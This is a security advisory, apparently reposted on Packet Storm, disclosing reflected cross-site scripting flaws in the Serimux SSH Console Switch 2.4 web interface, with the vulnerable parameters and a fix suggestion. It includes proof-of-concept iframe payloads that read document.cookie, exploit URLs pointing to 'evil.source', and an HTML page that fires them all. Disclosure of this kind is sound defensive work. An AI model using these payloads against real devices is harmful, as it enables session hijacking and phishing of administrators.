what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Serimux SSH Console Switch 2.4 Cross Site Scripting

Serimux SSH Console Switch 2.4 Cross Site Scripting
Posted Oct 4, 2016
Authored by Benjamin Kunz Mejri, Vulnerability Laboratory | Site vulnerability-lab.com

Serimux SSH Console Switch version 2.4 suffers from client cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | 04af710c778eb36f8656554f5b18f2c76ca00d4d1d9e7cb1897b5bb502085dcd

Serimux SSH Console Switch 2.4 Cross Site Scripting

Change Mirror Download
Document Title:
===============
Serimux SSH Console Switch v2.4 - Multiple Cross Site Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1942


Release Date:
=============
2016-10-04


Vulnerability Laboratory ID (VL-ID):
====================================
1942


Common Vulnerability Scoring System:
====================================
3.4


Product & Service Introduction:
===============================
SERIMUX-S-x - The SERIMUX Secure SSH Console Serial Switch delivers secure management of up to 32 serial
devices via the internet, TCP/IP network, or dial-up modem connections. It combines the advanced security
of Secure Shell v2 with unlimited access to remote network management.

(Copy of the Homepage: http://www.networktechinc.com/download/d-srvsw-term-ssh.html )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple cross site vulnerabilities in the Serimux SSH Console Switch v2.4 application.


Vulnerability Disclosure Timeline:
==================================
2016-10-04: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Network Technologies Inc
Product: Serimux SSH Console Switch - GUI (Web-Application) 2.4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple client-side cross site scripting vulnerabilities has been discovered in the Serimux SSH Console Switch v2.4 application.
Remote attackers are able to perform malicious client-side request to manipulate browser to web-application requests.

The client-side cross site scripting web vulnerabilities are located in the `PAGE`, `SECTION` and `PORTNUMBER` parameters of the
`portconnect.asp`, `tcpsettings.asp`,`syslog.asp`,`portcnfiguration.asp` and `systeminfo.asp` files. The affected modules are
`./nti/` and ./goform/. The request method to inject is GET and the attack vector is non-persistent. The cross site vulnerabilities
allows to perform malicious client-side attacks to compromise user session credentials or affected web-application module context.

The security risk of the vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 3.4.
Exploitation of the client-side vulnerabilities requires no privileged web-application user account and only low user interaction.
Successful exploitation of the vulnerability results in non-persistent phishing attacks, session hijacking, non-persistent
external redirect to malicious sources and non-persistent manipulation of affected or connected web module context.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] ./goform/
[+] ./nti/

Vulnerable File(s):
[+] portconnect.asp
[+] tcpsettings.asp
[+] syslog.asp
[+] portconfiguration.asp
[+] systeminfo.asp

Vulnerable Parameter(s):
[+] PAGE
[+] PORTNUMBER
[+] SECTION

Affected Firmware:
[+] 2.4 (www.networktechinc.com/download/serimux-ssh-v2-4.tar.gz)
[+] 2.3 (www.networktechinc.com/download/serimux-ssh-v2-3.tar.gz)
[+] 2.2 (www.networktechinc.com/download/serimux-ssh-v2-2.tar.gz)
[+] 2.1 (www.networktechinc.com/download/serimux-ssh-v2-1.tar.gz)


Proof of Concept (PoC):
=======================
The cross site scripting web vulnerabilities can be exploited by remote attackers without user account and with low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.


PoC: Payload(s)
>"<iframe>%20>"<iframe src=a onload=alert(document.cookie) <
>"<iframe>%20>"<iframe src=a onload=alert(document.domain) <


PoC: Exploitation (URL)
http://gui.localhost:8080/nti/portconnect.asp?PAGE=%3E%22%3Ciframe%3E%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%20%3C
http://gui.localhost:8080/goform/Port?PORTNUMBER=1&SECTION=%3E%22%3Ciframe%3E%20%3E%22%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C
http://gui.localhost:8080/goform/Port?PORTNUMBER=%3E%22%3Ciframe%3E%20%3E%22%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C&SECTION=ShowNone
http://gui.localhost:8080/nti/tcpsettings.asp?PAGE=%3E%22%3Ciframe%3E%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%20%3C
http://gui.localhost:8080/nti/syslog.asp?PAGE=%3E%22%3Ciframe%3E%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%20%3C
http://gui.localhost:8080/nti/portconfiguration.asp?PAGE=%3E%22%3Ciframe%3E%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%20%3C
http://gui.localhost:8080/nti/systeminfo.asp?PAGE=%3E%22%3Ciframe%3E%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%20%3C


PoC: Exploit Code
<html>
<head><body>
<title>PoC: Multiple Client Side Cross Site Vulnerabilities - SERIMUX SSH CONSOLE SWITCH v2.4</title>
<img src="http://gui.localhost:8080/nti/portconnect.asp?PAGE=%3E%22%3Ciframe%3E%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%20%3C">
<img src="http://gui.localhost:8080/goform/Port?PORTNUMBER=1&SECTION=%3E%22%3Ciframe%3E%20%3E%22%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C">
<img src="http://gui.localhost:8080/goform/Port?PORTNUMBER=%3E%22%3Ciframe%3E%20%3E%22%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C&SECTION=ShowNone">
<img src="http://gui.localhost:8080/nti/tcpsettings.asp?PAGE=%3E%22%3Ciframe%3E%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%20%3C">
<img src="http://gui.localhost:8080/nti/syslog.asp?PAGE=%3E%22%3Ciframe%3E%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%20%3C">
<img src="http://gui.localhost:8080/nti/portconfiguration.asp?PAGE=%3E%22%3Ciframe%3E%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%20%3C">
<img src="http://gui.localhost:8080/nti/systeminfo.asp?PAGE=%3E%22%3Ciframe%3E%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%20%3C">
</body></head>
</html>


Reference(s):
http://gui.localhost:8080/
http://gui.localhost:8080/nti/
http://gui.localhost:8080/nti/syslog.asp
http://gui.localhost:8080/nti/systeminfo.asp
http://gui.localhost:8080/nti/portconnect.asp
http://gui.localhost:8080/nti/tcpsettings.asp
http://gui.localhost:8080/nti/portconfiguration.asp


Solution - Fix & Patch:
=======================
The cross site scripting vulnerabilties can be patched by an input restriction of the vulnerable parameters,
disallow the usage of special chars on input to prevent further injection attacks. Parse all parameters separatly
to resolve the issue.


Security Risk:
==============
The security risk of the client-side cross site scripting vulnerabilities are estimated as medium. (CVSS 3.4)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission.

Copyright A(c) 2016 | Vulnerability Laboratory - [Evolution Security GmbH]aC/


--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close